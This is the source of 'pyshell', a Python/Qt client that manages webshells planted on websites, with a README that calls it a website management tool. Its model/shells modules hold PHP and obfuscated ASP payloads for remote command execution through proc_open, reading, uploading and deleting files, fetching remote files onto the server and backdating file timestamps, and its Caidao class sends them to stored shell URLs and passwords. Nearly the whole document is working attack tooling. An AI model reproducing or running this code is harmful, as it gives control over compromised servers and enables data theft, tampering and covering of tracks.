├── README.md
├── app.py
├── controller
├── __init__.py
└── controller_main.py
├── model
├── cache.py
├── db.py
└── shells
│ ├── ASP.py
│ ├── Caidao.py
│ ├── PHP.py
│ ├── __init__.py
│ ├── encode.py
│ └── util.py
├── qqwry.dat
├── requirements.txt
├── shell.db
├── util.py
└── view
├── __init__.py
├── add_shell_view.py
├── cmd_ui.py
├── edit_file_ui.py
├── export_shell_ui.py
├── file_ui.py
├── import_shell_ui.py
├── main_view.py
├── self_exec_ui.py
└── ui
├── Edit_file.ui
├── ShowEdit_shellManage.ui
├── ShowFileManage.ui
├── ShowcmdManage.ui
├── add_shell_ui.ui
├── export_shell.ui
├── import_shell.ui
└── main.ui
/README.md:
--------------------------------------------------------------------------------
1 | # pyshell
2 |
3 |
4 | #### 项目介绍
5 | 本项目是使用python和qt5写的一个网站管理工具。qt5的窗口xml文件是来自于开山斧的窗口。本软件可以执行命令,上传文件,网站目录浏览。目前本项目还不完善,只是一个demo展示。未来打算在此基础实现更多的功能,并逐步完善软件的可用性和健壮性。该软件只是一个框架,可以通过很简单的方式移植到web端。
6 |
7 |
8 |
9 | #### FAQ
10 |
11 | 1. 如果打包程序完成后,界面风格变得很奇怪(有点像以前的老XP电脑),这是因为样式表没有复制到程序目录下,在~\Python36\Lib\site-packages\PyQt5\Qt\plugins下复制styles文件夹到打包的程序目录下就可以了。
12 |
13 |
14 | #### 参与贡献
15 |
16 | 1. Fork 本项目
17 | 2. 新建 Feat_xxx 分支
18 | 3. 提交代码
19 | 4. 新建 Pull Request
20 |
--------------------------------------------------------------------------------
/app.py:
--------------------------------------------------------------------------------
1 | import sys
2 |
3 | from PyQt5.QtWidgets import QApplication
4 |
5 | from controller import controller_main
6 | from view import main_view
7 |
8 | if __name__ == "__main__":
9 | app = QApplication(sys.argv)
10 | ctrl_main = controller_main()
11 | mywin = main_view(ctrl_main)
12 | mywin.display()
13 | sys.exit(app.exec_())
14 |
--------------------------------------------------------------------------------
/controller/__init__.py:
--------------------------------------------------------------------------------
1 | from .controller_main import controller_main
2 |
--------------------------------------------------------------------------------
/controller/controller_main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python
2 | # -*- coding: UTF-8 -*-
3 |
4 | import time
5 |
6 | from PyQt5.QtCore import Qt
7 | from PyQt5.QtWidgets import QMenu, QAction, QTableWidgetItem, QMessageBox
8 |
9 | from model.db import db
10 | from util import get_location_from_domain, test_shell, start_runnable
11 | from view.add_shell_view import add_shell_ui_ctrl
12 | from view.cmd_ui import cmd_ui
13 | from view.export_shell_ui import export_shell_ui
14 | from view.file_ui import file_ui
15 | from view.import_shell_ui import import_shell_ui
16 | from view.self_exec_ui import self_exec_ui
17 |
18 |
19 | class controller_main(object):
20 | def __init__(self):
21 | self.db = db()
22 |
23 | def register_main(self, main):
24 | self.cls = main
25 |
26 | def tableWidget_menu(self, p):
27 | self.cls.setContextMenuPolicy(Qt.CustomContextMenu)
28 | self.cls.popMenu = QMenu(self.cls)
29 | int_model = self.cls.tableWidget.selectionModel() # 获取选中编号
30 | sum = len(int_model.selectedRows()) # 获取数量
31 | if sum == 0: # 如果没有选中 只有添加
32 | action = QAction('添加数据', self.cls)
33 | action.triggered.connect(self.add_shell_show)
34 | self.cls.popMenu.addAction(action)
35 | self.cls.popMenu.addSeparator() # 添加分隔
36 | self.cls.name = self.cls.popMenu.addMenu(u'批量导入/导出')
37 | action = QAction('批量导入数据', self.cls)
38 | action.triggered.connect(self.import_shell)
39 | self.cls.name.addAction(action)
40 | action = QAction('批量导出数据', self.cls)
41 | action.triggered.connect(lambda: self.cls.Import_export_ui_show(2))
42 | self.cls.name.addAction(action)
43 | action = QAction('选择导出数据', self.cls)
44 | action.triggered.connect(lambda: self.cls.while_export_shell())
45 | self.cls.name.addAction(action)
46 | elif sum == 1: # 如果选中1条 添加 删除 修改
47 | action = QAction('文件管理', self.cls)
48 | action.triggered.connect(self.open_file_shell)
49 | self.cls.popMenu.addAction(action)
50 | # action = QAction(u'数据库管理',self)
51 | # self.popMenu.addAction(action)
52 | action = QAction('虚拟终端', self.cls)
53 | action.triggered.connect(self.open_cmd_shell)
54 | self.cls.popMenu.addAction(action)
55 | action = QAction('自写脚本', self.cls)
56 | action.triggered.connect(self.open_self_exec_ui)
57 | self.cls.popMenu.addAction(action)
58 |
59 | self.cls.popMenu.addSeparator() # 添加分隔
60 | action = QAction('添加数据', self.cls)
61 | action.triggered.connect(self.add_shell_show)
62 | self.cls.popMenu.addAction(action)
63 | action = QAction('修改数据', self.cls)
64 | action.triggered.connect(lambda: self.cls.add_shell_show(2))
65 | self.cls.popMenu.addAction(action)
66 | action = QAction('删除数据', self.cls)
67 | action.triggered.connect(self.delete_item_from_main_table)
68 | self.cls.popMenu.addAction(action)
69 | self.cls.popMenu.addSeparator()
70 | action = QAction('批量测试状态', self.cls)
71 | action.triggered.connect(self.batch_text)
72 | self.cls.popMenu.addAction(action)
73 | self.cls.name = self.cls.popMenu.addMenu(u'批量导入/导出')
74 | action = QAction('批量导入数据', self.cls)
75 | action.triggered.connect(self.import_shell)
76 | self.cls.name.addAction(action)
77 | action = QAction('批量导出数据', self.cls)
78 | action.triggered.connect(self.export_shell)
79 | self.cls.name.addAction(action)
80 | # action = QAction('选择导出数据', self.cls)
81 | # action.triggered.connect(lambda: self.cls.while_export_shell())
82 | # self.cls.name.addAction(action)
83 | elif sum > 1:
84 | action = QAction('批量测试状态', self.cls)
85 | action.triggered.connect(self.batch_text)
86 | self.cls.popMenu.addAction(action)
87 | self.cls.popMenu.exec_(self.cls.tableWidget.mapToGlobal(p))
88 |
89 | def add_shell_show(self):
90 | panel = add_shell_ui_ctrl()
91 | panel.insert.connect(self.insert)
92 | panel.show()
93 |
94 | def insert(self, site_url, site_pass, config, remarks, type_id, script_type, coding_type):
95 | # TODO 动态添加行的方法,需要重构,这只是一个测试
96 | row = self.cls.tableWidget.rowCount()
97 | self.cls.tableWidget.insertRow(row)
98 | id = self.db.insert(script_type, site_url, site_pass, config, remarks, "0", coding_type,
99 | time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),
100 | time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))
101 | self.cls.tableWidget.setItem(row, 0, QTableWidgetItem(str(id)))
102 | self.cls.tableWidget.setItem(row, 1, QTableWidgetItem(script_type))
103 | self.cls.tableWidget.setItem(row, 2, QTableWidgetItem(site_url))
104 | self.cls.tableWidget.setItem(row, 3, QTableWidgetItem(get_location_from_domain(site_url)))
105 | self.cls.tableWidget.setItem(row, 4, QTableWidgetItem(remarks))
106 | self.cls.tableWidget.setItem(row, 5, QTableWidgetItem(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())))
107 | self.cls.tableWidget.setItem(row, 6, QTableWidgetItem(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())))
108 |
109 | def delete_item_from_main_table(self):
110 | row = self.cls.ui.tableWidget.selectionModel().currentIndex().row()
111 | id = self.cls.ui.tableWidget.item(row, 0)
112 | self.db.delete(int(id.text()))
113 | self.cls.ui.tableWidget.removeRow(row)
114 |
115 | def closeTab(self, tabId): # 关闭属性页
116 | if tabId >= 1:
117 | self.cls.tabWidget.removeTab(int(tabId))
118 |
119 | def open_cmd_shell(self):
120 | row = self.cls.ui.tableWidget.selectionModel().currentIndex().row()
121 | id = self.cls.ui.tableWidget.item(row, 0)
122 | cmd_ui(int(id.text()), self.cls).show()
123 |
124 | def open_file_shell(self):
125 | row = self.cls.ui.tableWidget.selectionModel().currentIndex().row()
126 | id = self.cls.ui.tableWidget.item(row, 0)
127 | file_ui(int(id.text()), self.cls).show()
128 |
129 | def open_self_exec_ui(self):
130 | row = self.cls.ui.tableWidget.selectionModel().currentIndex().row()
131 | id = self.cls.ui.tableWidget.item(row, 0)
132 | self_exec_ui(int(id.text()), self.cls).show()
133 |
134 | def batch_text(self):
135 | self.successed = 0
136 | self.failed = 0
137 | self.failed_list = []
138 |
139 | def result(res):
140 | if res[0]:
141 | self.successed += 1
142 | else:
143 | self.failed += 1
144 | self.failed_list.append(res[1])
145 |
146 | self.cls.statusBar.showMessage("批量测试中 %s/%s" % (self.successed + self.failed, len(rows.selectedRows())),
147 | 3000)
148 | if self.successed + self.failed >= len(rows.selectedRows()):
149 | QMessageBox.critical(self.cls, 'pyshell',
150 | "批量测试完成,成功%s,失败%s,正在删除失效shell" % (self.successed, self.failed))
151 | if self.failed_list:
152 | for i in self.failed_list:
153 | id = self.cls.ui.tableWidget.item(i, 0).text()
154 | self.db.delete(int(id))
155 | self.cls.ui.tableWidget.removeRow(i)
156 | else:
157 | QMessageBox.information(self.cls, 'pyshell', "删除失效shell成功")
158 |
159 | rows = self.cls.ui.tableWidget.selectionModel()
160 | for row in rows.selectedRows():
161 | id = self.cls.ui.tableWidget.item(row.row(), 0).text()
162 | url = db().get(int(id)).shell
163 | passwd = db().get(int(id)).passwd
164 | start_runnable(test_shell, result, url=url, passwd=passwd, type="php", row=row.row())
165 |
166 | def tableWidget_right(self, x, y):
167 | self.open_file_shell()
168 |
169 | def import_shell(self):
170 | import_shell_ui(self.cls).show()
171 |
172 | def export_shell(self):
173 | export_shell_ui(self.cls).show()
174 |
--------------------------------------------------------------------------------
/model/cache.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF-8 -*-
3 |
4 | # Authors: img
5 | # Date: 2018-07-11
6 | from collections import namedtuple
7 |
8 | __author__ = "img"
9 | __date__ = '2018/7/11'
10 |
11 | import json
12 | from inspect import getfullargspec
13 |
14 | from tinydb import TinyDB, where
15 | from tinydb.middlewares import CachingMiddleware
16 | from tinydb.storages import JSONStorage
17 |
18 | from model.shells import Caidao
19 |
20 |
21 | class cache:
22 |
23 | def __new__(cls, *args, **kwargs):
24 | if not hasattr(cls, "instance"):
25 | cls.instance = super(cache, cls).__new__(cls)
26 | return cls.instance
27 |
28 | def __init__(self):
29 | self.c = TinyDB('cache.json', storage=CachingMiddleware(JSONStorage))
30 | obj = getattr(self.c, "_storage") # 把这个值设置的比较小,可以让数据随时同步到disk,虽然这个方法有点扯
31 | obj.WRITE_CACHE_SIZE = 1
32 | self.item = namedtuple('item', ("is_dir", 'name', "st_mtime", "size", 'permission'))
33 |
34 | def __call__(self, func):
35 | def inner_func(*args, **kargs):
36 | signature = {**dict(zip(getfullargspec(func).args, args)), **kargs}
37 | obj = signature.get('self', None)
38 | if obj and isinstance(obj, Caidao.Caidao):
39 | signature.update(self=json.dumps((obj.url, obj.password)))
40 | if self.c.contains(where(str(signature)).exists()) and not signature.get('flush', False):
41 | if isinstance(obj, Caidao.Caidao):
42 | result = []
43 | for i in json.loads(self.c.get(where(str(signature)).exists()).get(str(signature))):
44 | result.append(self.item._make(i))
45 | else:
46 | result = self.c.get(where(str(signature)).exists()).get(str(signature))
47 | else:
48 | result = func(*args, **kargs)
49 | if isinstance(obj, Caidao.Caidao):
50 | self.c.insert({str(signature): json.dumps(result)})
51 | else:
52 | self.c.insert({str(signature): result})
53 | return result
54 |
55 | return inner_func
56 |
57 | def __del__(self):
58 | self.c.close()
59 |
--------------------------------------------------------------------------------
/model/db.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python
2 | # -*- coding: UTF-8 -*-
3 | import os
4 |
5 | import records
6 |
7 |
8 | class db(object):
9 | def __new__(cls, *args, **kwargs):
10 | if not hasattr(cls, "instance"):
11 | cls.instance = super(db, cls).__new__(cls)
12 | return cls.instance
13 |
14 | def __init__(self):
15 | self.initialize()
16 |
17 | def initialize(self):
18 | if not os.path.exists("shell.db"):
19 | self.db = records.Database('sqlite:///shell.db', connect_args={'check_same_thread': False})
20 | self.db.query('DROP TABLE IF EXISTS shell')
21 | self.db.query(
22 | 'CREATE TABLE shell (id INTEGER PRIMARY KEY autoincrement,types text,shell text, passwd text, config text ,remark text, typeid text,coding text,createdtime text,updatetime,text)')
23 | else:
24 | self.db = records.Database('sqlite:///shell.db', connect_args={'check_same_thread': False})
25 |
26 | def insert(self, types, shell, passwd, config, remark, typeid, coding, createdtime, updatetime):
27 | """
28 | insert()每个参数的含义(从左到右依次)
29 | types:shell的类型,大写字符串 PHP/ASP/ASPX/CUSTOMER
30 | shell:shell的地址(记得添加http://)
31 | passwd:shell的密码
32 | config:shell的配置,目前留空(空字符串)
33 | remark:shell的备注
34 | type_id:目前为"0"
35 | coding:shell的编码,默认utf-8
36 | createdtime:shell创建日期 字符串类型 time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
37 | updatetime:shell更新日期,目前暂时和createdtime一致即可
38 | :return:
39 | """
40 | self.db.query(
41 | 'INSERT INTO shell (types, shell, passwd,config ,remark,typeid,coding,createdtime, updatetime) VALUES(:types,:shell, :passwd,:config,:remark,:typeid,:coding,:createdtime,:updatetime)',
42 | types=types, shell=shell, passwd=passwd, config=config, remark=remark, typeid=typeid, coding=coding,
43 | createdtime=createdtime, updatetime=updatetime)
44 | return \
45 | self.db.query("select * from shell where createdtime=:createdtime and shell=:shell",
46 | createdtime=createdtime,
47 | shell=shell)[0].id
48 |
49 | def getall(self):
50 | return self.db.query("select * from shell")
51 |
52 | def delete(self, id):
53 | '''
54 |
55 | :param id: int
56 | :return:
57 | '''
58 | return self.db.query("delete from shell where id=:id", id=id)
59 |
60 | def get(self, id):
61 | return self.db.query("select * from shell where id=:id", id=id)[0]
62 |
--------------------------------------------------------------------------------
/model/shells/ASP.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF-8 -*-
3 |
4 | # Authors: img
5 | # Date: 2018-06-01
6 |
7 | __author__ = "img"
8 | __date__ = '2018/6/1'
9 |
10 | encoding = "hex_encode"
11 | is_urlencode = False
12 | LeftDelimiter = ">>>"
13 | RightDelimiter = "<<<"
14 | BASE = '%%u0045%%xec%%ute%%G%%loba%%l%%%%28Replace%%28%%22Fu%%nct%%ion%%20bd%%28by%%V%%al%%20s%%29:Fo%%r%%20i%%%%3D1%%20T%%o%%20Le%%n%%28s%%29%%20S%%te%%p%%202:c%%%%3DM%%id%%28s%%2Ci%%2C2%%29:If%%20Is%%Nu%%meric%%28M%%id%%28s%%2Ci%%2C1%%29%%29%%20T%%hen:bd%%%%3Dbd%%4026%%40c%%hr%%28%%22%%22%%4026%%40H%%22%%22%%4026%%40c%%29:E%%lse:bd%%%%3Dbd%%4026%%40c%%hr%%28%%22%%22%%4026%%40H%%22%%22%%4026%%40c%%4026%%40M%%id%%28s%%2Ci%%2B2%%2C2%%29%%29:i%%%%3Di%%2B2:E%%nd%%20If:Ne%%xt:E%%nd%%20Fu%%nct%%ion:E%%xecu%%te%%%%28bd%%%%28%%22%%224F6E204572726F7220526573756D65204E6578743A526573706F6E73652E57726974652022%s223A%s3A526573706F6E73652E57726974652022%s223A526573706F6E73652E456E64%%22%%22%%29%%%%29%%22%%2C%%22%%4026%%40%%22%%2Cchr%%2838%%29%%29%%29'
15 | SHELL = r"""$m=get_magic_quotes_gpc();$p='%s';$ab='%s';$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$ab}\"":"/c \"{$ab}\"";$r="{$p} {$c}";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($r." 2>&1",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print """ + """"%s".$ret."%s";""" % (
16 | LeftDelimiter, RightDelimiter)
17 | BASE_INFO = """$D=dirname(__FILE__);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print "%s".$R."%s";""" % (
18 | LeftDelimiter, RightDelimiter)
19 | SHOW_FOLDER = """$D='%s';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.'/'.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.="T\t".$P.$R;else $L.="F\t".$P.$R;}echo """ + """ "%s".$M.$L."%s";@closedir($F);}""" % (
20 | LeftDelimiter, RightDelimiter)
21 | READ_FILE = """$F='%s';$P=@fopen($F,'r');echo "{0}";echo(@fread($P,filesize($F)));echo "{1}";@fclose($P);""".format(
22 | LeftDelimiter, RightDelimiter)
23 | UPLOAD_FILE = """$f='%s';$c=$_POST["file"];echo ">>>";echo(@fwrite(fopen($f,'w'),gzuncompress(base64_decode($c)))?'1':'0');echo "<<<";"""
24 | WGET_FILE = """$fR='%s';$fL='%s';$F=@fopen($fR,chr(114));$L=@fopen($fL,chr(119));if($F && $L){while(!feof($F))@fwrite($L,@fgetc($F));@fclose($F);@fclose($L);echo(">>>1<<<");}else{echo(">>>0<<<");}"""
25 | DOWNLOAD_FILE = """$F="%s";$fp=@fopen($F,'r');if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo('ERROR:// Can Not Read');}"""
26 | RENAME = """$src='%s';$dst='%s';echo ">>>";echo rename($src,$dst)?'1':'0';echo "<<<";"""
27 | DELETE = """$F='%s';function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?">>>1<<<":">>>0<<<":">>>0<<<");}"""
28 | NEW_FOLDER = """$f='%s';echo(mkdir($f)?">>>1<<<":">>>0<<<");"""
29 | SET_TIME = """$FN='%s';$TM=strtotime('%s');if(file_exists($FN)){echo(@touch($FN,$TM,$TM)?'1':'0');}else{echo '0';};"""
30 |
--------------------------------------------------------------------------------
/model/shells/Caidao.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF-8 -*-
3 |
4 | # Authors: img
5 | # Date: 2018-05-25
6 |
7 | __author__ = "img"
8 | __date__ = '2018/5/25'
9 |
10 | import re
11 | from collections import namedtuple
12 | from typing import NoReturn
13 |
14 | import requests
15 |
16 | from model.cache import cache
17 | from . import PHP, encode, util
18 |
19 | common_headers = {"Content-Type": "application/x-www-form-urlencoded"}
20 |
21 | class Caidao():
22 | """
23 | 本类是webshell操作的核心,这里负责一切webshell操作,例如批量上传等等
24 | 功能如下:
25 | 1 批量上传功能
26 | 2 自动挂链功能
27 | 3 执行命令
28 | 5 定时监测webshell存活
29 | 还有部分功能未完成
30 | """
31 |
32 | def __init__(self, url, password):
33 | self.url = url
34 | self.password = password
35 | self.types = PHP
36 | self.is_urlencode = self.types.is_urlencode
37 | self.pattern = re.compile("%s(.+)%s" % (self.types.LeftDelimiter, self.types.RightDelimiter), re.DOTALL)
38 | self.__initialize()
39 |
40 | def __initialize(self):
41 | self.__get_base_info()
42 | if self.is_linux:
43 | self.path = r"/bin/sh"
44 | self.separator = r"/"
45 | else:
46 | self.path = r"c:\\Windows\\System32\\cmd.exe"
47 | self.separator = "\\"
48 |
49 | def test_php_connection(self) -> bool:
50 | pass
51 |
52 | def test_asp_connection(self):
53 | pass
54 |
55 | def test_connection(self) -> object:
56 | if self.types == 'PHP':
57 | return self.test_php_connection()
58 | elif self.types == "ASP":
59 | return self.test_asp_connection()
60 | else:
61 | raise TypeError("could't found type, try again")
62 |
63 | # @util.try_except(errors=AttributeError)
64 | def __submit_data(self, data) -> str:
65 | # data = util.dictToQuery(data) if not self.is_urlencode else urlencode(data)
66 | with requests.post(self.url, data=data, timeout=20) as response:
67 | if ">>>ERROR:// Path Not Found Or No Permission!" in response.text:
68 | raise TypeError
69 | re_result = self.pattern.search(response.text)
70 | return re_result.group(1).strip()
71 |
72 | def find_writeable_folder(self):
73 | pass
74 |
75 | # @util.try_except()
76 | def assemble_data(self, statement, func=lambda x: x, **kwargs) -> dict:
77 | data = func(getattr(self.types, statement))
78 | base = getattr(self.types, "BASE")
79 | encoding = getattr(encode, PHP.encoding)
80 | parameter = "aaa"
81 | result = {
82 | self.password: base % ("$_POST[%s]" % parameter),
83 | parameter: encoding(data)
84 | }
85 | kwargs_copy = kwargs.copy()
86 | return {**result, **kwargs_copy}
87 |
88 | def exec_command(self, cmd) -> str:
89 | data = self.assemble_data("SHELL", lambda x: x % (self.path, cmd))
90 | return self.__submit_data(data)
91 |
92 | # @util.try_except()
93 | def __get_base_info(self) -> NoReturn:
94 | data = self.assemble_data("BASE_INFO")
95 | result = self.__submit_data(data)
96 | tuple_result = result.split('\t')
97 | self.current_folder = tuple_result[0]
98 | self.info = tuple_result[2]
99 | self.is_linux = True
100 |
101 | # @util.try_except()
102 | @cache()
103 | def get_folder_list(self, folder, flush=False) -> list:
104 | item = namedtuple('item', ("is_dir", 'name', "st_mtime", "size", 'permission'))
105 | data = self.__submit_data(self.assemble_data("SHOW_FOLDER", lambda x: x % folder))
106 | folder_list = []
107 | for i in data.split('\n'):
108 | try:
109 | folder_list.append(item._make(i.split('\t')))
110 | except TypeError:
111 | pass
112 | return folder_list
113 |
114 | # @util.try_except(errors=TypeError)
115 | def read_file(self, item: str) -> str:
116 | data = self.assemble_data("READ_FILE", lambda x: x % item)
117 | return self.__submit_data(data)
118 |
119 | def save_file(self, filename, content) -> str:
120 | content = util.gnucompress(content.encode())
121 | result = self.__submit_data(self.assemble_data("UPLOAD_FILE", lambda x: x % filename, file=content))
122 | if result is "1":
123 | return True
124 | else:
125 | raise TypeError
126 |
127 | def new_file(self, filename) -> bool:
128 | content = ""
129 | content = util.gnucompress(content.encode())
130 | result = self.__submit_data(self.assemble_data("UPLOAD_FILE", lambda x: x % filename, file=content))
131 | if result is "1":
132 | return True
133 | else:
134 | raise TypeError
135 |
136 | # @util.try_except()
137 | def upload_file(self, remote_file, local_file) -> bool:
138 | '''
139 | :param remote_file: 上传文件名,不需要绝对路径啦
140 | :param local_file:
141 | :return:
142 | '''
143 | if self.separator not in remote_file:
144 | folder = self.current_folder + self.separator + remote_file
145 | else:
146 | folder = remote_file
147 | with open(local_file, "rb") as f:
148 | content = util.gnucompress(f.read())
149 | result = self.__submit_data(self.assemble_data("UPLOAD_FILE", lambda x: x % folder, file=content))
150 | if result is "1":
151 | return True
152 | else:
153 | raise TypeError
154 |
155 | def wget_file_from_web(self, url, remote_path) -> bool:
156 | # TODO url and remote_path must be verifed before download from url to remote_path
157 | result = self.__submit_data(self.assemble_data("WGET_FILE", lambda x: x % (url, remote_path)))
158 | return True if result is "1" else False
159 |
160 | @util.try_except()
161 | def download_file_from_shell(self, remote_file) -> bool:
162 | # TODO implement download file function.give a remote files and download to local.return true if successed,else return false
163 | pass
164 |
165 | def rename(self, src, dst):
166 | # TODO src and dst must be verifed before used
167 | result = self.__submit_data(self.assemble_data("RENAME", lambda x: x % (src, dst)))
168 | return True if result is "1" else False
169 |
170 | def delete_file(self, remote_path) -> bool:
171 | result = self.__submit_data(self.assemble_data("DELETE", lambda x: x % remote_path))
172 | if result is "1":
173 | return True
174 | else:
175 | raise TypeError
176 |
177 | @util.try_except()
178 | def new_folder(self, folder_name) -> bool:
179 | result = self.__submit_data(self.assemble_data("NEW_FOLDER", lambda x: x % folder_name))
180 | if result is "1":
181 | return True
182 | else:
183 | raise TypeError
184 |
185 | @util.try_except()
186 | def set_time(self, remote_file, time) -> bool:
187 | # TODO verifed
188 | result = self.__submit_data(self.assemble_data("SET_TIME", lambda x: x % (remote_file, time
189 | )))
190 | return True if result is "1" else False
191 |
192 | def raw(self, data: str) -> str:
193 | return self.__submit_data(self.assemble_data("RAW", lambda x: x % data))
194 |
195 |
196 | if __name__ == '__main__':
197 | a = Caidao("http://localhost:32769/1.php", "cmd")
198 | print(a.get_folder_list(a.current_folder))
199 |
--------------------------------------------------------------------------------
/model/shells/PHP.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF-8 -*-
3 |
4 | # Authors: img
5 | # Date: 2018-05-25
6 |
7 | __author__ = "img"
8 | __date__ = '2018/5/25'
9 |
10 | Check = ''
11 | Headers = {
12 |
13 | }
14 | encoding = "base64_encode"
15 | is_urlencode = True
16 | LeftDelimiter = ">>>"
17 | RightDelimiter = "<<<"
18 | BASE = '@eval(base64_decode(%s));'
19 | SHELL = r"""$m=get_magic_quotes_gpc();$p='%s';$ab='%s';$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$ab}\"":"/c \"{$ab}\"";$r="{$p} {$c}";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($r." 2>&1",$array,$pipes);$ret=stream_get_contents($pipes[1]);proc_close($fp);print """ + """"%s".$ret."%s";""" % (
20 | LeftDelimiter, RightDelimiter)
21 | BASE_INFO = """$D=dirname(__FILE__);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print "%s".$R."%s";""" % (
22 | LeftDelimiter, RightDelimiter)
23 | SHOW_FOLDER = """echo ">>>";$D='%s';$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.'/'.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.="T\t".$P.$R;else $L.="F\t".$P.$R;}echo $M.$L;echo "<<<";@closedir($F);}"""
24 | READ_FILE = """$F='%s';$P=@fopen($F,'r');echo "{0}";echo(@fread($P,filesize($F)));echo "{1}";@fclose($P);""".format(
25 | LeftDelimiter, RightDelimiter)
26 | UPLOAD_FILE = """$f='%s';$c=$_POST["file"];echo ">>>";echo(@fwrite(fopen($f,'w'),gzuncompress(base64_decode($c)))?'1':'0');echo "<<<";"""
27 | WGET_FILE = """$fR='%s';$fL='%s';$F=@fopen($fR,chr(114));$L=@fopen($fL,chr(119));if($F && $L){while(!feof($F))@fwrite($L,@fgetc($F));@fclose($F);@fclose($L);echo(">>>1<<<");}else{echo(">>>0<<<");}"""
28 | DOWNLOAD_FILE = """$F="%s";$fp=@fopen($F,'r');if(@fgetc($fp)){@fclose($fp);@readfile($F);}else{echo('ERROR:// Can Not Read');}"""
29 | RENAME = """$src='%s';$dst='%s';echo ">>>";echo rename($src,$dst)?'1':'0';echo "<<<";"""
30 | DELETE = """$F='%s';function df($p){$m=@dir($p);while(@$f=$m->read()){$pf=$p."/".$f;if((is_dir($pf))&&($f!=".")&&($f!="..")){@chmod($pf,0777);df($pf);}if(is_file($pf)){@chmod($pf,0777);@unlink($pf);}}$m->close();@chmod($p,0777);return @rmdir($p);}if(is_dir($F))echo(df($F));else{echo(file_exists($F)?@unlink($F)?">>>1<<<":">>>0<<<":">>>0<<<");}"""
31 | NEW_FOLDER = """$f='%s';echo(mkdir($f)?">>>1<<<":">>>0<<<");"""
32 | SET_TIME = """$FN='%s';$TM=strtotime('%s');if(file_exists($FN)){echo(@touch($FN,$TM,$TM)?'1':'0');}else{echo '0';};"""
33 | RAW = """echo ">>>";%s;echo "<<<";"""
34 |
--------------------------------------------------------------------------------
/model/shells/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF-8 -*-
3 |
4 | # Authors: img
5 | # Date: 2018-06-01
6 |
7 | __author__ = "img"
8 | __date__ = '2018/6/1'
--------------------------------------------------------------------------------
/model/shells/encode.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF-8 -*-
3 |
4 | # Authors: img
5 | # Date: 2018-05-29
6 |
7 | __author__ = "img"
8 | __date__ = '2018/5/29'
9 |
10 | import base64
11 | import codecs
12 |
13 |
14 | def base64_encode(data: str) -> bytes:
15 | return base64.b64encode(data.encode())
16 |
17 |
18 | def hex_encode(data: str) -> bytes:
19 | return codecs.encode(data.encode(), "hex")
20 |
--------------------------------------------------------------------------------
/model/shells/util.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: UTF-8 -*-
3 |
4 | # Authors: img
5 | # Date: 2018-05-29
6 |
7 | __author__ = "img"
8 | __date__ = '2018/5/29'
9 |
10 | import base64
11 | import contextlib
12 | import logging
13 | import random
14 | import string
15 | import zlib
16 | from http.client import HTTPConnection # py3
17 |
18 | #from IPython.core import ultratb
19 |
20 |
21 | def gnucompress(buf):
22 | return base64.b64encode(zlib.compress(buf))
23 |
24 |
25 | def random_useragent():
26 | pass
27 |
28 |
29 | def dictToQuery(dict):
30 | query = ''
31 | for key in dict.keys():
32 | query += str(key) + '=' + str(dict[key]) + "&"
33 | return query[:len(query) - 1]
34 |
35 |
36 | def try_except(errors=Exception):
37 | def decorate(func):
38 | def wrappers(*args, **kwargs):
39 | # noinspection PyBroadException
40 | try:
41 | return func(*args, **kwargs)
42 | except errors:
43 | # ipshell = ultratb.FormattedTB(mode='Context', color_scheme='LightBG', call_pdb=1)
44 | # ipshell()
45 | print(errors)
46 |
47 | return wrappers
48 |
49 | return decorate
50 |
51 |
52 | def debug_requests_on():
53 | '''Switches on logging of the requests module.'''
54 | HTTPConnection.debuglevel = 1
55 |
56 | logging.basicConfig()
